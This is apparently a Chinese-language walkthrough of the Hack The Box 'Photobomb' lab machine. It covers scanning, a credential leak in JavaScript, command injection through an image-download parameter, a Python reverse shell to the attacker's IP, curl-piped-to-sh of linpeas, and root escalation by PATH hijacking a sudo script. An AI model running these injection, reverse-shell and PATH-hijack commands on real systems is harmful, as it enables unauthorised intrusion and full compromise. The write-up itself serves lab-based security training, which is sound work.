Hackthebox Photobomb
靶场信息
靶场类型
信息收集
Nmap
┌──(root㉿kali)-[~/Desktop]
└─# nmap -sS -sV -A -sC -p- --min-rate 5000 10.10.11.182
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-20 23:49 EST
Nmap scan report for 10.10.11.182
Host is up (0.26s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 e22473bbfbdf5cb520b66876748ab58d (RSA)
| 256 04e3ac6e184e1b7effac4fe39dd21bae (ECDSA)
|_ 256 20e05d8cba71f08c3a1819f24011d29e (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://photobomb.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.93%E=4%D=12/20%OT=22%CT=1%CU=41677%PV=Y%DS=2%DC=T%G=Y%TM=63A290
OS:81%P=x86_64-pc-linux-gnu)SEQ(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%II=I%TS=A)SE
OS:Q(SP=105%GCD=1%ISR=105%TI=Z%CI=Z%TS=A)OPS(O1=M539ST11NW7%O2=M539ST11NW7%
OS:O3=M539NNT11NW7%O4=M539ST11NW7%O5=M539ST11NW7%O6=M539ST11)WIN(W1=FE88%W2
OS:=FE88%W3=FE88%W4=FE88%W5=FE88%W6=FE88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M539NNS
OS:NW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%
OS:DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%
OS:O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%
OS:W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%
OS:RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD=S)
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 995/tcp)
HOP RTT ADDRESS
1 275.46 ms 10.10.14.1
2 282.41 ms 10.10.11.182
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.89 seconds
Http
会被跳转到域名 photobomb.htb 去加入 hosts 解析
echo 10.10.11.182 photobomb.htb >> /etc/hosts
再访问一次就是正常的了
首页有个 click here,点击后会跳转登陆页面,去找一下密码
在 js 文件中发现一段 photobomb.js
function init() {
// Jameson: pre-populate creds for tech support as they keep forgetting them and emailing me
if (document.cookie.match(/^(.*;)?\s*isPhotoBombTechSupport\s*=\s*[^;]+(.*)?$/)) {
document.getElementsByClassName('creds')[0].setAttribute('href','http://pH0t0:b0Mb!@photobomb.htb/printer');
}
}
window.onload = init;
在里面找到了一段链接,里面应该就是账号密码了
登陆成功
他下面有个下载图片的功能,抓个包看看
确实是下载,但是这个参数看着很有搞头啊,这看着就是很明显的命令拼接执行
漏洞利用
在 filetype 后面似乎可以拼接,但是没有回显,去开启一个 http 服务器试试
python3 -m http.server 80
photo=voicu-apostol-MWER49YaD-M-unsplash.jpg&filetype=jpg;curl+http://10.10.14.11&dimensions=30x20
然后去请求一下
确实有回包,那就证明可以执行命令
export RHOST="10.10.14.11";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
我们构造好 poc 以后,使用 nc 监听一个端口
nc -nvlp 4444
然后去 burp 中执行
export RHOST="10.10.14.11";export RPORT=4444;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'
┌──(root㉿kali)-[~/Desktop]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [10.10.14.11] from (UNKNOWN) [10.10.11.182] 46772
wizard@photobomb:~/photobomb$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
wizard@photobomb:~/photobomb$ whoami&&id
whoami&&id
wizard
uid=1000(wizard) gid=1000(wizard) groups=1000(wizard)
成功弹回 shell
wizard@photobomb:~$ cat user.txt
cat user.txt
9ef16b54cbd2be4ef91cf67b6642e804
成功拿到 user 权限的 flag 文件
权限提升
先跑个 linpeas 看看
curl -L http://10.10.14.11/linpeas.sh|sh
wizard@photobomb:~$ sudo -l
sudo -l
Matching Defaults entries for wizard on photobomb:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User wizard may run the following commands on photobomb:
(root) SETENV: NOPASSWD: /opt/cleanup.sh
可以看到,我们可以无密码使用 root 权限执行 /opt/cleanup.sh,先去看看这个文件
#!/bin/bash
. /opt/.bashrc
cd /home/wizard/photobomb
# clean up log files
if [ -s log/photobomb.log ] && ! [ -L log/photobomb.log ]
then
/bin/cat log/photobomb.log > log/photobomb.log.old
/usr/bin/truncate -s0 log/photobomb.log
fi
# protect the priceless originals
find source_images -type f -name '*.jpg' -exec chown root:root {} \;
对于这个文件,我们只有读取和写入权限,所以我们得先搞清楚他干了什么
大概看了一下,功能简单的说就是获取日志文件并将其内容移动到 photobonb.log.old,然后使用 truncate 清除 photobomb.log
这里的突破点在于最后一句,他的 find 命令使用的是相对路径,而不是绝对路径,我们就可以改变一下环境变量,然后在当前目录创建一个 find 文件,里面写一个恶意 poc,然后 sudo 执行的时候,就能直接获得我们想要的结果
echo "/bin/bash" > find
chmod +x find
sudo PATH=$PWD:$PATH /opt/cleanup.sh
wizard@photobomb:~$ echo "/bin/bash" > find
echo "/bin/bash" > find
wizard@photobomb:~$ chmod +x find
chmod +x find
wizard@photobomb:~$ sudo PATH=$PWD:$PATH /opt/cleanup.sh
sudo PATH=$PWD:$PATH /opt/cleanup.sh
root@photobomb:/home/wizard/photobomb# id
id
uid=0(root) gid=0(root) groups=0(root)
root@photobomb:/home/wizard/photobomb# whoami
whoami
root
成功获得 root 权限
root@photobomb:/home/wizard/photobomb# cat /root/root.txt
cat /root/root.txt
aefec07aac4191d73f9f0e8dadd6ee58
成功获得 root 权限的 flag 文件